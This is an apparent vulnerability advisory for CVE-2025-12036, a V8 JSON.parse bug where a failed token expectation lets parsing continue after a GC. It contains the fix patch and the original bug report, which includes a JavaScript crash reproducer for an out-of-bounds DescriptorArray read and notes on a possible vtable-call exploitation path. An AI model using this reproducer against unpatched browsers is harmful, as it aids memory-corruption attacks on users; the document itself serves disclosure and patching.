CVE-2025-12036
Overview
Background
- `Expect`/`ExpectNext`
JsonParserhelpers that check whether the next token matches an expectedJsonTokenand, on mismatch, report a parse error.- `ReportUnexpectedToken`
- the error-reporting routine invoked on a failed expectation, which allocates and throws a JavaScript exception (an allocation that can trigger a GC).
- `property_stack_` / `element_stack_`
- parser-owned worklist vectors holding pending object properties and array elements while a JSON value is being built.
- `V8_WARN_UNUSED_RESULT`
- an attribute that forces callers to check a function’s return value at compile time.
Root Cause Analysis
The removed code shows the old Expect/ExpectNext implementation: on a token mismatch it called ReportUnexpectedToken and then simply set the cursor to the end of input and fell through with no signal to the caller. Because ReportUnexpectedToken allocates the exception object, it can trigger a GC, yet the caller continued executing the surrounding parse logic (e.g. ParseJsonPropertyValue, the object/array finalization paths, and the recursive parse loop) as if the expectation had succeeded, operating on parser state after an exception was already pending and a GC may have moved objects. The invariant violated is that once an exception is thrown parsing must unwind immediately rather than keep scanning and mutating property_stack_/element_stack_ and building objects.
The fix makes Expect/ExpectNext return a bool and marks them V8_WARN_UNUSED_RESULT, and replaces every call site with the EXPECT_RETURN_ON_ERROR/EXPECT_NEXT_RETURN_ON_ERROR macros that return early (with false or {}) the instant an expectation fails. This guarantees the parser stops touching heap state and stack vectors as soon as the exception is raised.
bool and forces an immediate early return at every call site.Attack Path
- Craft malformed JSON
Supply JSON to
JSON.parsethat is well-formed enough to reach a point requiring a specific token (a:after a property name, a closing}/], or a quoted property name) but then presents the wrong token. - Trigger the failed expectation
The mismatch drives
Expect/ExpectNextintoReportUnexpectedToken, which allocates the exception object and can provoke a GC. (inferred: the allocation/GC timing is the attacker-influenced trigger.) - Continue parsing past the exception
In the unpatched code the helper returns
void, so the caller keeps running its finalization/loop logic and continues to read and mutateproperty_stack_/element_stack_and build objects while an exception is pending and objects may have moved. - Operate on inconsistent state Subsequent parser steps act on stale or relocated state, the logic error the advisory categorizes as an inappropriate implementation. (inferred) Any concrete memory-safety sink is not shown in the diff.
Impact Assessment
JSON.parse in the renderer can drive the JSON parser to continue executing after an exception allocation/GC, producing incorrect and potentially unsafe parser behavior. The advisory classifies this as a LogicError / inappropriate implementation in V8 and does not report exploitation in the wild; any escalation to a concrete memory-corruption or read/write primitive is (inferred) and not demonstrated by the patch. The only precondition is that untrusted input reaches JSON.parse.Files Changed
src/json/json-parser.ccsrc/json/json-parser.h
Audit Directions
- Report-and-continue error helpersLook for parser/validator helpers that report or throw (and thus allocate) an error but return
void, letting callers proceed; enforce a checked return value. - Allocation under a pending exceptionAudit code paths that keep reading or mutating heap-referencing state (worklists, handles, raw pointers) after a call that can allocate/GC or set a pending exception without unwinding.
- Unchecked return valuesSearch for expectation/consume-style APIs lacking
V8_WARN_UNUSED_RESULT, where a silently ignored failure result changes control flow.
Patch
From 50eba5e6c269c71d6e0e758b84fafe8d5c37d210 Mon Sep 17 00:00:00 2001
From: pthier <pthier@chromium.org>
Date: Thu, 16 Oct 2025 15:16:31 +0200
Subject: [PATCH] [json] Parser: Early return if Expect() fails
Expect()/ExpectNext() used to simply set the cursor to the end of the
input if the expectation failed.
The issue is that a failed expectation can trigger a GC due to
allocation of the Exception object.
To avoid surprises, Expect() and ExpectNext() now return a bool value
indicating if the expectation failed. Checking of this value is enforced
and all current usages are replaced by a Macro that returns early if an
exception was thrown.
Drive-by: Also force checking the return value of Check().
Fixed: 452296415
Change-Id: I513955f1ea0eb44cd0a59eb2aa57caee8f3082fb
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7048404
Reviewed-by: Igor Sheludko <ishell@chromium.org>
Commit-Queue: Patrick Thier <pthier@chromium.org>
Cr-Commit-Position: refs/heads/main@{#103167}
---
diff --git a/src/json/json-parser.cc b/src/json/json-parser.cc
index 12ad632..f96fa8e 100644
--- a/src/json/json-parser.cc
+++ b/src/json/json-parser.cc
@@ -130,6 +130,15 @@
#undef CALL_GET_SCAN_FLAGS
};
+#define EXPECT_RETURN_ON_ERROR(token, msg, ret) \
+ if (V8_UNLIKELY(!Expect(token, msg))) { \
+ return ret; \
+ }
+#define EXPECT_NEXT_RETURN_ON_ERROR(token, msg, ret) \
+ if (V8_UNLIKELY(!ExpectNext(token, msg))) { \
+ return ret; \
+ }
+
} // namespace
MaybeHandle<Object> JsonParseInternalizer::Internalize(
@@ -1539,8 +1548,9 @@
template <typename Char>
bool JsonParser<Char>::ParseJsonPropertyValue(const JsonString& key) {
- ExpectNext(JsonToken::COLON,
- MessageTemplate::kJsonParseExpectedColonAfterPropertyName);
+ EXPECT_NEXT_RETURN_ON_ERROR(
+ JsonToken::COLON,
+ MessageTemplate::kJsonParseExpectedColonAfterPropertyName, false);
Handle<Object> value;
if (V8_UNLIKELY(!ParseJsonValueRecursive().ToHandle(&value))) return false;
property_stack_.emplace_back(key, value);
@@ -1586,7 +1596,7 @@
using FastIterableState = DescriptorArray::FastIterableState;
if constexpr (fast_iterable_state == FastIterableState::kJsonSlow) {
do {
- ExpectNext(JsonToken::STRING, first_token_msg);
+ EXPECT_NEXT_RETURN_ON_ERROR(JsonToken::STRING, first_token_msg, false);
first_token_msg =
MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName;
JsonString key = ScanJsonPropertyKey(cont);
@@ -1596,7 +1606,7 @@
DCHECK_GT(descriptors->number_of_descriptors(), 0);
InternalIndex idx{0};
do {
- ExpectNext(JsonToken::STRING, first_token_msg);
+ EXPECT_NEXT_RETURN_ON_ERROR(JsonToken::STRING, first_token_msg, false);
first_token_msg =
MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName;
bool key_match;
@@ -1764,7 +1774,8 @@
return {};
}
- Expect(JsonToken::RBRACE, MessageTemplate::kJsonParseExpectedCommaOrRBrace);
+ EXPECT_RETURN_ON_ERROR(JsonToken::RBRACE,
+ MessageTemplate::kJsonParseExpectedCommaOrRBrace, {});
Handle<Object> result = BuildJsonObject<false>(cont, feedback);
property_stack_.resize(cont.index);
return cont.scope.CloseAndEscape(result);
@@ -1810,8 +1821,9 @@
SkipWhitespace();
continue;
} else {
- Expect(JsonToken::RBRACK,
- MessageTemplate::kJsonParseExpectedCommaOrRBrack);
+ EXPECT_RETURN_ON_ERROR(JsonToken::RBRACK,
+ MessageTemplate::kJsonParseExpectedCommaOrRBrack,
+ {});
success = true;
break;
}
@@ -1879,7 +1891,8 @@
element_stack_.emplace_back(value);
}
- Expect(JsonToken::RBRACK, MessageTemplate::kJsonParseExpectedCommaOrRBrack);
+ EXPECT_RETURN_ON_ERROR(JsonToken::RBRACK,
+ MessageTemplate::kJsonParseExpectedCommaOrRBrack, {});
Handle<Object> result = BuildJsonArray(start);
element_stack_.resize(start);
return handle_scope.CloseAndEscape(result);
@@ -1987,15 +2000,17 @@
property_stack_.size());
// Parse the property key.
- ExpectNext(JsonToken::STRING,
- MessageTemplate::kJsonParseExpectedPropNameOrRBrace);
+ EXPECT_NEXT_RETURN_ON_ERROR(
+ JsonToken::STRING,
+ MessageTemplate::kJsonParseExpectedPropNameOrRBrace, {});
property_stack_.emplace_back(ScanJsonPropertyKey(&cont));
if constexpr (should_track_json_source) {
property_val_node_stack.emplace_back(Handle<Object>());
}
- ExpectNext(JsonToken::COLON,
- MessageTemplate::kJsonParseExpectedColonAfterPropertyName);
+ EXPECT_NEXT_RETURN_ON_ERROR(
+ JsonToken::COLON,
+ MessageTemplate::kJsonParseExpectedColonAfterPropertyName, {});
// Continue to start producing the first property value.
continue;
@@ -2091,17 +2106,18 @@
if (V8_LIKELY(Check(JsonToken::COMMA))) {
// Parse the property key.
- ExpectNext(
+ EXPECT_NEXT_RETURN_ON_ERROR(
JsonToken::STRING,
- MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName);
+ MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName,
+ {});
property_stack_.emplace_back(ScanJsonPropertyKey(&cont));
if constexpr (should_track_json_source) {
property_val_node_stack.emplace_back(Handle<Object>());
}
- ExpectNext(
+ EXPECT_NEXT_RETURN_ON_ERROR(
JsonToken::COLON,
- MessageTemplate::kJsonParseExpectedColonAfterPropertyName);
+ MessageTemplate::kJsonParseExpectedColonAfterPropertyName, {});
// Break to start producing the subsequent property value.
break;
@@ -2121,8 +2137,9 @@
}
}
value = BuildJsonObject<should_track_json_source>(cont, feedback);
- Expect(JsonToken::RBRACE,
- MessageTemplate::kJsonParseExpectedCommaOrRBrace);
+ EXPECT_RETURN_ON_ERROR(
+ JsonToken::RBRACE,
+ MessageTemplate::kJsonParseExpectedCommaOrRBrace, {});
// Return the object.
if constexpr (should_track_json_source) {
size_t start = cont.index;
@@ -2172,8 +2189,9 @@
if (V8_LIKELY(Check(JsonToken::COMMA))) break;
value = BuildJsonArray(cont.index);
- Expect(JsonToken::RBRACK,
- MessageTemplate::kJsonParseExpectedCommaOrRBrack);
+ EXPECT_RETURN_ON_ERROR(
+ JsonToken::RBRACK,
+ MessageTemplate::kJsonParseExpectedCommaOrRBrack, {});
// Return the array.
if constexpr (should_track_json_source) {
size_t start = cont.index;
diff --git a/src/json/json-parser.h b/src/json/json-parser.h
index 988593a..cb55bfb 100644
--- a/src/json/json-parser.h
+++ b/src/json/json-parser.h
@@ -244,23 +244,26 @@
advance();
}
- void Expect(JsonToken token,
- std::optional<MessageTemplate> errorMessage = std::nullopt) {
+ V8_WARN_UNUSED_RESULT bool Expect(
+ JsonToken token,
+ std::optional<MessageTemplate> errorMessage = std::nullopt) {
if (V8_LIKELY(peek() == token)) {
advance();
- } else {
- errorMessage ? ReportUnexpectedToken(peek(), errorMessage.value())
- : ReportUnexpectedToken(peek());
+ return true;
}
+ errorMessage ? ReportUnexpectedToken(peek(), errorMessage.value())
+ : ReportUnexpectedToken(peek());
+ return false;
}
Original Bug Report
V8: Out-of-bounds access in JSON.parse
We are tracking this issue with the public ID BIGSLEEP-452319320. Please use this identifier for reference in any future communication.
Vulnerability Details
This is a variant of crbug.com/423459708.
Consider the code of ParseJsonObjectProperties, used by JSON.parse to process object literals:
bool JsonParser<Char>::ParseJsonObjectProperties(
JsonContinuation* cont, MessageTemplate first_token_msg,
Handle<DescriptorArray> descriptors) { // ==1==
...
} else {
DCHECK_GT(descriptors->number_of_descriptors(), 0);
InternalIndex idx{0};
do {
ExpectNext(JsonToken::STRING, first_token_msg); // ==2==
first_token_msg =
MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName;
bool key_match;
if constexpr (fast_iterable_state == FastIterableState::kJsonFast) {
uint32_t key_length;
{
DisallowGarbageCollection no_gc;
Tagged<String> expected_key = Cast<String>(descriptors->GetKey(idx)); // ==3==
Tagged<Map> key_map = expected_key->map();
// Fast iterable keys are guaranteed to be 1-byte.
const uint8_t* expected_chars =
GetFastKeyChars(isolate_, expected_key, key_map, no_gc); // ==4==
key_length = expected_key->length();
key_match = FastKeyMatch(expected_chars, key_length);
}
...
For object literals, the JSON parser can use a “feedback” object as template [1]. This is useful when parsing multiple (likely similar) objects inside an array literal. Specifically, the parser will keep a reference to the feedback object’s DescriptorArray (at ==1==) and check if the new object has the same properties.
With issue 423459708, the problem was that garbage collection (GC) could happen during JSON parsing which could shrink the DescriptorArray. As the parsing code used to cache the number of descriptors, this would subsequently lead to an out-of-bounds access into the DescriptorArray. The fix [2] for that issue was to reload the number of descriptors in each iteration to guard against ParseJsonPropertyValue() triggering GC. However, there is another way to trigger GC: during execution of ExpectNext (at ==2==), which, in case of malformed JSON, can allocate a SyntaxError object on the heap [3] which can in turn trigger GC. Instead of aborting, ExpectNext will only set a pending exception and advance to the end of the input [4]. As such, the next part of the JSON parsing code, where the access into the DescriptorArray happens, is still executed. This then similarly leads to an out-of-bounds access when loading the expected_key (at ==3==) as demonstrated by the testcase below.
Exploitation of this issue may be possible on non-sandbox builds (specifically, 32-bit): GetFastKeyChars [5] (at ==4==) can, for the case of an ExternalString, end up invoking a virtual function (specifically data() on the associated resource object [6]). As such, if an attacker can cause the out-of-bounds access to read a fake ExternalString object, this would lead to a controlled vtable call. However, when the sandbox is enabled, the resource object will be obtained through the external pointer table [7], which guarantees that the result will be an invalid pointer or a valid resource object, rendering this approach infeasible.
[1] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/json/json-parser.cc;l=1737;drc=be082f4011a9fe520f9463949be9096101d875e7
[2] https://chromium-review.git.corp.google.com/c/v8/v8/+/6632608
[3] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/json/json-parser.cc;l=545;drc=be082f4011a9fe520f9463949be9096101d875e7
[4] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/json/json-parser.cc;l=548;drc=be082f4011a9fe520f9463949be9096101d875e7
[5] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/json/json-parser.cc;l=1552;drc=be082f4011a9fe520f9463949be9096101d875e7
[6] https://source.chromium.org/chromium/chromium/src/+/main:v8/include/v8-primitive.h;l=405;drc=be082f4011a9fe520f9463949be9096101d875e7
[7] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/string-inl.h;l=1448;drc=be082f4011a9fe520f9463949be9096101d875e7
Affected Version(s)
The issue has been successfully reproduced:
- at HEAD (commit de86034ae78261f1b15ec93ccdf5cecfe175f466)
- in stable release 14.1.146.11 (commit ad8af0fc661d278e87627fcaa3a7cf795ee80dd8)
Reproduction
Test Case
function makeJsonAndSetupMaps() {
let o1 = { str: "A" };
const length = 32;
let o2 = { str: "B".repeat(length) };
o2.f = {};
let arr = [o1, o2];
JSON.stringify(arr);
return o1;
}
const feedback_obj = makeJsonAndSetupMaps();
const length = 32;
const long_str = "C".repeat(length);
const json_prefix = '[{"str":"A"}, {"str":"' + long_str + '", ';
// The syntax error: expected string (property key for the second property "f") but got ']'.
const json_suffix = ']]';
const json = json_prefix + json_suffix;
// We want GC to happen during ReportUnexpectedToken when the syntax error is encountered.
// The exact number might depend on the configuration and platform.
%SetAllocationTimeout(1, 18);
try {
JSON.parse(json);
} catch (e) {
print("Failed to trigger bug");
}
Build Instructions
Follow the instructions at https://v8.dev/docs/build. The crash was verified on a debug build:
gm.py x64.debug
Command
./out/x64.debug/d8 --allow-natives-syntax crash.js
ASan Report
#
# Fatal error in ../../src/objects/descriptor-array-inl.h, line 222
# Debug check failed: descriptor_number.as_int() < number_of_descriptors() (1 vs. 1).
#
#
#
#FailureMessage Object: 0x7ffdaa0f8b98
==== C stack trace ===============================
v8/v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f36edfc0d7e]
v8/v8/out/x64.debug/libv8_libplatform.so(+0x4a31d) [0x7f36edf2d31d]
v8/v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x205) [0x7f36edf99415]
v8/v8/out/x64.debug/libv8_libbase.so(+0x4ddcc) [0x7f36edf98dcc]
v8/v8/out/x64.debug/libv8_libbase.so(V8_Dcheck(char const*, int, char const*)+0x4d) [0x7f36edf994ed]
v8/v8/out/x64.debug/libv8.so(v8::internal::DescriptorArray::GetKey(v8::internal::PtrComprCageBase, v8::internal::InternalIndex) const+0x6e) [0x7f36e8820abe]
v8/v8/out/x64.debug/libv8.so(v8::internal::DescriptorArray::GetKey(v8::internal::InternalIndex) const+0x65) [0x7f36e88208c5]
v8/v8/out/x64.debug/libv8.so(bool v8::internal::JsonParser<unsigned char>::ParseJsonObjectProperties<(v8::internal::DescriptorArray::FastIterableState)3>(v8::internal::JsonParser<unsigned char>::JsonContinuation*, v8::internal::MessageTemplate, v8::internal::Handle<v8::internal::DescriptorArray>)+0x22d) [0x7f36e93dfccd]
v8/v8/out/x64.debug/libv8.so(v8::internal::JsonParser<unsigned char>::ParseJsonObject(v8::internal::Handle<v8::internal::Map>)+0x31e) [0x7f36e93dcfce]
v8/v8/out/x64.debug/libv8.so(v8::internal::JsonParser<unsigned char>::ParseJsonValueRecursive(v8::internal::Handle<v8::internal::Map>)+0x180) [0x7f36e93d9ef0]
v8/v8/out/x64.debug/libv8.so(v8::internal::JsonParser<unsigned char>::ParseJsonArray()+0xbe5) [0x7f36e93ddd15]
v8/v8/out/x64.debug/libv8.so(v8::internal::JsonParser<unsigned char>::ParseJsonValueRecursive(v8::internal::Handle<v8::internal::Map>)+0x18f) [0x7f36e93d9eff]
v8/v8/out/x64.debug/libv8.so(v8::internal::JsonParser<unsigned char>::ParseJson(v8::internal::DirectHandle<v8::internal::Object>)+0xe6) [0x7f36e93d7296]
v8/v8/out/x64.debug/libv8.so(v8::internal::JsonParser<unsigned char>::Parse(v8::internal::Isolate*, v8::internal::Handle<v8::internal::String>, v8::internal::Handle<v8::internal::Object>, std::__Cr::optional<v8::internal::ScriptDetails>)+0x154) [0x7f36e93d6f94]
v8/v8/out/x64.debug/libv8.so(+0x82afe16) [0x7f36e88afe16]
v8/v8/out/x64.debug/libv8.so(v8::internal::Builtin_JsonParse(int, unsigned long*, v8::internal::Isolate*)+0xd3) [0x7f36e88afba3]
[0x7f36636a8d7d]
Reporter Credit
Google Big Sleep
Disclosure Policy
This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2026-01-13.
For more information, visit https://goo.gle/bigsleep
- https://chromium-review.git.corp.google.com/c/v8/v8/+/6632608
- https://crbug.com/423459708
- https://goo.gle/bigsleep
- https://issuetracker.google.com/issues/423459708
- https://source.chromium.org/chromium/chromium/src/+/main:v8/include/v8-primitive.h;l=405;drc=be082f4011a9fe520f9463949be9096101d875e7
- https://source.chromium.org/chromium/chromium/src/+/main:v8/src/json/json-parser.cc;l=1552;drc=be082f4011a9fe520f9463949be9096101d875e7
- https://source.chromium.org/chromium/chromium/src/+/main:v8/src/json/json-parser.cc;l=1737;drc=be082f4011a9fe520f9463949be9096101d875e7
- https://source.chromium.org/chromium/chromium/src/+/main:v8/src/json/json-parser.cc;l=545;drc=be082f4011a9fe520f9463949be9096101d875e7
- https://source.chromium.org/chromium/chromium/src/+/main:v8/src/json/json-parser.cc;l=548;drc=be082f4011a9fe520f9463949be9096101d875e7
- https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/string-inl.h;l=1448;drc=be082f4011a9fe520f9463949be9096101d875e7
- https://v8.dev/docs/build